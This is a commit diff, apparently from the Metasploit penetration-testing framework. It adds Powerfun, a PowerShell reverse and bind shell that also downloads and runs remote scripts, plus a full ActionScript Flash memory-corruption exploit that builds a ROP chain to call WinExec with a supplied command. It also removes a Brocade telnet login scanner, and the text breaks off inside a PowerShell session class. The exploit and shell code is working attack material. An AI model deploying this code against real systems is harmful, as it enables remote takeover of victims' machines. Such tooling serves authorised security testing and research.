Fix merge conflict
commit
89d026c900
Binary file not shown.
|
@ -0,0 +1,59 @@
|
||||||
|
# Powerfun - Written by Ben Turner & Dave Hardy
|
||||||
|
|
||||||
|
function Get-Webclient
|
||||||
|
{
|
||||||
|
$wc = New-Object -TypeName Net.WebClient
|
||||||
|
$wc.UseDefaultCredentials = $true
|
||||||
|
$wc.Proxy.Credentials = $wc.Credentials
|
||||||
|
$wc
|
||||||
|
}
|
||||||
|
function powerfun
|
||||||
|
{
|
||||||
|
Param(
|
||||||
|
[String]$Command,
|
||||||
|
[String]$Download
|
||||||
|
)
|
||||||
|
Process {
|
||||||
|
$modules = @(MODULES_REPLACE)
|
||||||
|
if ($Command -eq "bind")
|
||||||
|
{
|
||||||
|
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
|
||||||
|
$listener.start()
|
||||||
|
$client = $listener.AcceptTcpClient()
|
||||||
|
}
|
||||||
|
if ($Command -eq "reverse")
|
||||||
|
{
|
||||||
|
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
|
||||||
|
}
|
||||||
|
$stream = $client.GetStream()
|
||||||
|
[byte[]]$bytes = 0..255|%{0}
|
||||||
|
if ($Download -eq "true")
|
||||||
|
{
|
||||||
|
ForEach ($module in $modules)
|
||||||
|
{
|
||||||
|
(Get-Webclient).DownloadString($module)|Invoke-Expression
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||||
|
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||||
|
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
||||||
|
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||||
|
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
||||||
|
{
|
||||||
|
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
|
||||||
|
$data = $EncodedText.GetString($bytes,0, $i)
|
||||||
|
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
|
||||||
|
|
||||||
|
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
|
||||||
|
$x = ($error[0] | Out-String)
|
||||||
|
$error.clear()
|
||||||
|
$sendback2 = $sendback2 + $x
|
||||||
|
|
||||||
|
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
|
||||||
|
$stream.Write($sendbyte,0,$sendbyte.Length)
|
||||||
|
$stream.Flush()
|
||||||
|
}
|
||||||
|
$client.Close()
|
||||||
|
$listener.Stop()
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,7 +1,14 @@
|
||||||
Alphanetworks wrgg19_c_dlwbr_dir300
|
Alphanetworks wrgg19_c_dlwbr_dir300
|
||||||
Alphanetworks wrgn49_dlob_dir600b
|
Alphanetworks wrgn49_dlob_dir600b
|
||||||
Alphanetworks wrgn23_dlwbr_dir600b
|
Alphanetworks wrgn23_dlwbr_dir600b
|
||||||
Alphanetworks wrgn22_dlwbr_dir615
|
Alphanetworks wrgn22_dlwbr_dir615
|
||||||
Alphanetworks wrgnd08_dlob_dir815
|
Alphanetworks wrgnd08_dlob_dir815
|
||||||
Alphanetworks wrgg15_di524
|
Alphanetworks wrgg15_di524
|
||||||
Alphanetworks wrgn39_dlob.hans_dir645
|
Alphanetworks wrgn39_dlob.hans_dir645
|
||||||
|
Alphanetworks wapnd03cm_dkbs_dap2555
|
||||||
|
Alphanetworks wapnd04cm_dkbs_dap3525
|
||||||
|
Alphanetworks wapnd15_dlob_dap1522b
|
||||||
|
Alphanetworks wrgac01_dlob.hans_dir865
|
||||||
|
Alphanetworks wrgn23_dlwbr_dir300b
|
||||||
|
Alphanetworks wrgn28_dlob_dir412
|
||||||
|
Alphanetworks wrgn39_dlob.hans_dir645_V1
|
||||||
|
|
|
@ -0,0 +1,502 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Download the Flex SDK (4.6)
|
||||||
|
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
|
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.*
|
||||||
|
import flash.display.*
|
||||||
|
import flash.system.*
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public final class Msf extends Sprite {
|
||||||
|
|
||||||
|
private var shared_ba:ByteArray = null
|
||||||
|
|
||||||
|
private var hole_ba:ByteArray = null;
|
||||||
|
private var confuse_length_ba:ByteArray = null;
|
||||||
|
private var fake_ba:ByteArray = null;
|
||||||
|
private var worker:Worker = null;
|
||||||
|
|
||||||
|
private var byte_array_vector:Vector.<Object> = null;
|
||||||
|
private var byte_array_vector_length:int;
|
||||||
|
|
||||||
|
private var object_vector:Vector.<Object> = null;
|
||||||
|
private var object_vector_length:uint;
|
||||||
|
|
||||||
|
private var ba:ByteArray
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
private var corrupted_uv_index:uint = 0
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder();
|
||||||
|
private var payload:String = ""
|
||||||
|
|
||||||
|
public function Msf() {
|
||||||
|
this.object_vector_length = 5770 * 2
|
||||||
|
this.byte_array_vector_length = 510 * 2
|
||||||
|
|
||||||
|
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||||
|
payload = b64.toByteArray().toString();
|
||||||
|
|
||||||
|
this.initialize_worker_and_ba()
|
||||||
|
if (!this.trigger())
|
||||||
|
{
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var index:uint = search_uint_vector(114, 0x40000000)
|
||||||
|
if (index == 0xffffffff) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
this.uv = this.object_vector[this.corrupted_uv_index]
|
||||||
|
|
||||||
|
// Use the corrupted Vector<uint> to search saved addresses
|
||||||
|
var object_vector_pos:uint = search_object_vector()
|
||||||
|
var byte_array_object:uint = this.uv[object_vector_pos] - 1
|
||||||
|
var main:uint = this.uv[object_vector_pos + 2] - 1
|
||||||
|
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
|
||||||
|
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
|
||||||
|
|
||||||
|
// Locate the corrupted Vector<uint> in memory
|
||||||
|
// It allows arbitrary address memory read/write
|
||||||
|
var ba_address:uint = search_ba_address()
|
||||||
|
if (ba_address == 0xffffffff) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var uv_address:uint = ba_address + index
|
||||||
|
this.uv[0] = uv_address
|
||||||
|
|
||||||
|
// Use the corrupted Vector<uint> to disclose arbitrary memory
|
||||||
|
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||||
|
var buffer:uint = vector_read(buffer_object + 8)
|
||||||
|
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||||
|
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||||
|
var vtable:uint = vector_read(main)
|
||||||
|
|
||||||
|
// Set the new ByteArray length
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.length = 0x500000
|
||||||
|
|
||||||
|
// Overwite the ByteArray data pointer and capacity
|
||||||
|
var ba_array:uint = buffer_object + 8
|
||||||
|
var ba_capacity:uint = buffer_object + 16
|
||||||
|
vector_write(ba_array)
|
||||||
|
vector_write(ba_capacity, 0xffffffff)
|
||||||
|
|
||||||
|
// restoring the corrupted vector length since we don't need it
|
||||||
|
// anymore
|
||||||
|
this.uv[0] = 0xfeedbabe
|
||||||
|
//index = search_uint_vector(0xffffffff, 114)
|
||||||
|
index = search_uint_vector(0x40000000, 114)
|
||||||
|
if (index == 0xffffffff) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var flash:uint = base(vtable)
|
||||||
|
var winmm:uint = module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = module("kernel32.dll", winmm)
|
||||||
|
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||||
|
var winexec:uint = procedure("WinExec", kernel32)
|
||||||
|
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||||
|
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||||
|
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
byte_write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
byte_write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
byte_write(0, winexec)
|
||||||
|
byte_write(0, buffer + 0x10)
|
||||||
|
byte_write(0, 0x1000)
|
||||||
|
byte_write(0, 0x40)
|
||||||
|
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// WinExec
|
||||||
|
byte_write(0, buffer + 0x10)
|
||||||
|
byte_write(0, payload_address + 8)
|
||||||
|
byte_write(0)
|
||||||
|
|
||||||
|
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
|
||||||
|
toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function initialize_worker_and_ba():Boolean{
|
||||||
|
this.ba = new ByteArray()
|
||||||
|
this.ba.endian = "littleEndian"
|
||||||
|
this.ba.length = 1024
|
||||||
|
this.ba.writeUnsignedInt(0xdeedbeef)
|
||||||
|
this.ba.position = 0
|
||||||
|
|
||||||
|
this.shared_ba = new ByteArray()
|
||||||
|
this.shared_ba.shareable = true
|
||||||
|
this.shared_ba.endian = Endian.LITTLE_ENDIAN
|
||||||
|
this.shared_ba.writeUnsignedInt(252536)
|
||||||
|
this.shared_ba.writeUnsignedInt(16777216)
|
||||||
|
|
||||||
|
this.confuse_length_ba = new ByteArray()
|
||||||
|
this.confuse_length_ba.length = 0x2000
|
||||||
|
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
|
||||||
|
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
|
||||||
|
|
||||||
|
this.fake_ba = new ByteArray();
|
||||||
|
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
|
||||||
|
|
||||||
|
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function trigger():Boolean{
|
||||||
|
// Memory massaging
|
||||||
|
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
|
||||||
|
this.fill_byte_array_vector();
|
||||||
|
// 2. Clear the marked ByteArray
|
||||||
|
this.hole_ba.clear();
|
||||||
|
|
||||||
|
// The shared_ba should be left in "shared" state
|
||||||
|
this.worker.setSharedProperty("fnfre", this.shared_ba)
|
||||||
|
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
|
||||||
|
this.worker.setSharedProperty("vfhrth", this.shared_ba)
|
||||||
|
|
||||||
|
// fake_ba *data* is going to fill the space freed from the hole
|
||||||
|
this.fake_ba.length = 0x2000;
|
||||||
|
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
|
||||||
|
|
||||||
|
// Trigger the vulnerability, if the memory layout is good enough
|
||||||
|
// the (freed) hole_ba metadata will end being the shared_ba metadata...
|
||||||
|
this.shared_ba.uncompress()
|
||||||
|
|
||||||
|
// So its size should be 0x2000
|
||||||
|
if (this.shared_ba.length != 0x2000)
|
||||||
|
{
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Free the fake_ba and make holes on the ByteArray's
|
||||||
|
// allocated on massaging.
|
||||||
|
this.free_fake_and_make_holes()
|
||||||
|
|
||||||
|
// Fill the holes and the fake_ba data space with
|
||||||
|
// <uint> vectors
|
||||||
|
this.fill_with_vectors()
|
||||||
|
|
||||||
|
// Hopefully the shared_ba metadata, product of the vulnerability
|
||||||
|
// at this moment point to the <uint> vectors in memory =) it means
|
||||||
|
// game over.
|
||||||
|
var pwn_test:uint;
|
||||||
|
this.shared_ba.position = 0;
|
||||||
|
pwn_test = this.shared_ba.readUnsignedInt();
|
||||||
|
|
||||||
|
if (pwn_test == 0xBBBBBBBB)
|
||||||
|
{
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
|
||||||
|
var i:int;
|
||||||
|
local_ba.position = 0;
|
||||||
|
i = 0;
|
||||||
|
while (i < (local_ba.length / 4))
|
||||||
|
{
|
||||||
|
local_ba.writeInt(value);
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
local_ba.position = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function fill_byte_array_vector():void{
|
||||||
|
var i:int;
|
||||||
|
var local_ba:ByteArray;
|
||||||
|
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
|
||||||
|
|
||||||
|
i = 0;
|
||||||
|
|
||||||
|
while (i < this.byte_array_vector_length)
|
||||||
|
{
|
||||||
|
local_ba = new ByteArray();
|
||||||
|
this.byte_array_vector[i] = local_ba;
|
||||||
|
local_ba.endian = Endian.LITTLE_ENDIAN;
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
var hole_index:int = this.byte_array_vector_length * 4 / 5;
|
||||||
|
if (hole_index % 2 == 0)
|
||||||
|
{
|
||||||
|
hole_index++;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(i = 0; i < this.byte_array_vector_length; i++)
|
||||||
|
{
|
||||||
|
local_ba = this.byte_array_vector[i] as ByteArray
|
||||||
|
local_ba.length = 0x2000
|
||||||
|
this.fill_byte_array(local_ba, 0xCCCCCCCC)
|
||||||
|
local_ba.writeInt(0xbabefac0)
|
||||||
|
local_ba.writeInt(0xbabefac1)
|
||||||
|
local_ba.writeInt(i)
|
||||||
|
local_ba.writeInt(0xbabefac3)
|
||||||
|
if (i == hole_index)
|
||||||
|
{
|
||||||
|
this.hole_ba = local_ba;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function free_fake_and_make_holes():void {
|
||||||
|
var i:int
|
||||||
|
var clear_ba:ByteArray
|
||||||
|
var hole_index:int = this.byte_array_vector_length * 4 / 5
|
||||||
|
|
||||||
|
if (hole_index % 2 == 0)
|
||||||
|
{
|
||||||
|
hole_index++;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < this.byte_array_vector_length; i++)
|
||||||
|
{
|
||||||
|
if (i == hole_index) {
|
||||||
|
this.fake_ba.clear();
|
||||||
|
} else {
|
||||||
|
if (i % 2 == 1)
|
||||||
|
{
|
||||||
|
clear_ba = this.byte_array_vector[i] as ByteArray
|
||||||
|
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
|
||||||
|
clear_ba.clear()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
final private function fill_with_vectors():void {
|
||||||
|
var i:uint;
|
||||||
|
var uint_vector:Vector.<uint>;
|
||||||
|
var objects:Vector.<Object>;
|
||||||
|
this.object_vector = new Vector.<Object>(this.object_vector_length);
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
while (i < this.object_vector_length)
|
||||||
|
{
|
||||||
|
if (i % 2 == 0) {
|
||||||
|
this.object_vector[i] = new Vector.<uint>()
|
||||||
|
} else {
|
||||||
|
this.object_vector[i] = new Vector.<Object>()
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
while (i < this.object_vector_length)
|
||||||
|
{
|
||||||
|
if (i % 2 == 0) {
|
||||||
|
uint_vector = this.object_vector[i] as Vector.<uint>
|
||||||
|
uint_vector.length = 114
|
||||||
|
uint_vector[0] = 0xfeedbabe
|
||||||
|
uint_vector[1] = i
|
||||||
|
uint_vector[2] = 0xbabeface
|
||||||
|
} else {
|
||||||
|
objects = this.object_vector[i] as Vector.<Object>
|
||||||
|
objects.length = 114
|
||||||
|
objects[0] = this.ba
|
||||||
|
objects[1] = i
|
||||||
|
objects[2] = this
|
||||||
|
objects[3] = this.stack
|
||||||
|
objects[4] = this.payload_space
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use the corrupted shared_ba to search and corrupt the uint vector
|
||||||
|
// Returns the offset to the *length* of the corrupted vector
|
||||||
|
private function search_uint_vector(old_length:uint, new_length:uint):uint {
|
||||||
|
this.shared_ba.position = 0
|
||||||
|
var i:uint = 0
|
||||||
|
var length:uint = 0
|
||||||
|
var atom:uint = 0
|
||||||
|
var mark_one:uint = 0
|
||||||
|
var index:uint = 0
|
||||||
|
var mark_two:uint = 0
|
||||||
|
while (i < 0x2000) {
|
||||||
|
length = shared_ba.readUnsignedInt()
|
||||||
|
if (length == old_length) {
|
||||||
|
atom = shared_ba.readUnsignedInt()
|
||||||
|
mark_one = shared_ba.readUnsignedInt()
|
||||||
|
index = shared_ba.readUnsignedInt()
|
||||||
|
mark_two = shared_ba.readUnsignedInt()
|
||||||
|
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
|
||||||
|
shared_ba.position = i
|
||||||
|
shared_ba.writeUnsignedInt(new_length)
|
||||||
|
this.corrupted_uv_index = index
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
i = i + 16
|
||||||
|
}
|
||||||
|
i = i + 4
|
||||||
|
}
|
||||||
|
return 0xffffffff
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use the corrupted shared_ba to disclose its own address
|
||||||
|
private function search_ba_address():uint {
|
||||||
|
var address:uint = 0
|
||||||
|
this.shared_ba.position = 0x14
|
||||||
|
address = shared_ba.readUnsignedInt()
|
||||||
|
if (address == 0) {
|
||||||
|
address = 0xffffffff
|
||||||
|
this.shared_ba.position = 8
|
||||||
|
var next:uint = shared_ba.readUnsignedInt()
|
||||||
|
var prior:uint = shared_ba.readUnsignedInt()
|
||||||
|
if (next - prior == 0x8000) {
|
||||||
|
address = prior + 0x4000
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
address = address - 0x30
|
||||||
|
}
|
||||||
|
|
||||||
|
return address
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use the corrupted uint vector to search an vector with
|
||||||
|
// interesting objects for info leaking
|
||||||
|
private function search_object_vector():uint {
|
||||||
|
var i:uint = 0;
|
||||||
|
while (i < 0x4000){
|
||||||
|
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
|
||||||
|
return i + 1;
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
return 0xffffffff
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to use the corrupted uint vector
|
||||||
|
|
||||||
|
private function vector_write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > this.uv[0]) {
|
||||||
|
pos = ((addr - this.uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
this.uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
private function vector_read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > this.uv[0]) {
|
||||||
|
pos = ((addr - this.uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||||
|
|
||||||
|
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to search the memory with the corrupted byte array
|
||||||
|
|
||||||
|
private function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (byte_read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
private function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||||
|
var i:int = -1
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
ba.position = addr + entry
|
||||||
|
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||||
|
if (dll_name == name.toUpperCase()) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||||
|
}
|
||||||
|
|
||||||
|
private function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||||
|
ba.position = addr + entry
|
||||||
|
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,122 +0,0 @@
|
||||||
require 'msf/core'
|
|
||||||
require 'metasploit/framework/telnet/client'
|
|
||||||
require 'metasploit/framework/login_scanner/base'
|
|
||||||
require 'metasploit/framework/login_scanner/rex_socket'
|
|
||||||
module Metasploit
|
|
||||||
module Framework
|
|
||||||
module LoginScanner
|
|
||||||
# This is based off of the telnet LoginScanner. We had to role our own,
|
|
||||||
# based on hdm's recommendation, since we're not trying to login to telnet,
|
|
||||||
# but we're actually doing the escalated privileges (enable) login.
|
|
||||||
class Brocade_Telnet
|
|
||||||
include Metasploit::Framework::LoginScanner::Base
|
|
||||||
include Metasploit::Framework::LoginScanner::RexSocket
|
|
||||||
include Metasploit::Framework::Telnet::Client
|
|
||||||
|
|
||||||
CAN_GET_SESSION = true
|
|
||||||
DEFAULT_PORT = 23
|
|
||||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
|
||||||
LIKELY_SERVICE_NAMES = [ 'telnet' ]
|
|
||||||
PRIVATE_TYPES = [ :password ]
|
|
||||||
REALM_KEY = nil
|
|
||||||
|
|
||||||
# @!attribute verbosity
|
|
||||||
# The timeout to wait for the telnet banner.
|
|
||||||
#
|
|
||||||
# @return [Fixnum]
|
|
||||||
attr_accessor :banner_timeout
|
|
||||||
# @!attribute verbosity
|
|
||||||
# The timeout to wait for the response from a telnet command.
|
|
||||||
#
|
|
||||||
# @return [Fixnum]
|
|
||||||
attr_accessor :telnet_timeout
|
|
||||||
|
|
||||||
validates :banner_timeout,
|
|
||||||
presence: true,
|
|
||||||
numericality: {
|
|
||||||
only_integer: true,
|
|
||||||
greater_than_or_equal_to: 1
|
|
||||||
}
|
|
||||||
|
|
||||||
validates :telnet_timeout,
|
|
||||||
presence: true,
|
|
||||||
numericality: {
|
|
||||||
only_integer: true,
|
|
||||||
greater_than_or_equal_to: 1
|
|
||||||
}
|
|
||||||
|
|
||||||
# (see {Base#attempt_login})
|
|
||||||
def attempt_login(credential)
|
|
||||||
result_options = {
|
|
||||||
credential: credential,
|
|
||||||
host: host,
|
|
||||||
port: port,
|
|
||||||
protocol: 'tcp',
|
|
||||||
service_name: 'telnet'
|
|
||||||
}
|
|
||||||
|
|
||||||
begin
|
|
||||||
if connect_reset_safe == :refused
|
|
||||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
|
||||||
else
|
|
||||||
if busy_message?
|
|
||||||
self.sock.close unless self.sock.closed?
|
|
||||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
unless result_options[:status]
|
|
||||||
raw_send("enable\r\n") #send the enable command
|
|
||||||
unless password_prompt?
|
|
||||||
send_user(credential.public)
|
|
||||||
end
|
|
||||||
|
|
||||||
recvd_sample = @recvd.dup
|
|
||||||
# Allow for slow echos
|
|
||||||
1.upto(10) do
|
|
||||||
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
|
||||||
end
|
|
||||||
|
|
||||||
if password_prompt?(credential.public)
|
|
||||||
send_pass(credential.private)
|
|
||||||
|
|
||||||
# Allow for slow echos
|
|
||||||
1.upto(10) do
|
|
||||||
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if login_succeeded?
|
|
||||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
|
||||||
else
|
|
||||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
|
|
||||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
|
||||||
end
|
|
||||||
|
|
||||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
# This method sets the sane defaults for things
|
|
||||||
# like timeouts and TCP evasion options
|
|
||||||
def set_sane_defaults
|
|
||||||
self.connection_timeout ||= 30
|
|
||||||
self.port ||= DEFAULT_PORT
|
|
||||||
self.banner_timeout ||= 25
|
|
||||||
self.telnet_timeout ||= 10
|
|
||||||
self.connection_timeout ||= 30
|
|
||||||
self.max_send_size ||= 0
|
|
||||||
self.send_delay ||= 0
|
|
||||||
# Shim to set up the ivars from the old Login mixin
|
|
||||||
create_login_ivars
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -0,0 +1,36 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/base/sessions/command_shell'
|
||||||
|
|
||||||
|
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
|
||||||
|
#
|
||||||
|
# Execute any specified auto-run scripts for this session
|
||||||
|
#
|
||||||
|
def process_autoruns(datastore)
|
||||||
|
|
||||||
|
# Read the username and hostname from the initial banner
|
||||||
|
initial_output = shell_read(-1, 0.01)
|
||||||
|
if initial_output =~ /running as user ([^\s]+) on ([^\s]+)/
|
||||||
|
username = $1
|
||||||
|
hostname = $2
|
||||||
|
self.info = "#{username} @ #{hostname}"
|
||||||
|
else
|
||||||
|
self.info = initial_output.gsub(/[\r\n]/, ' ')
|
||||||
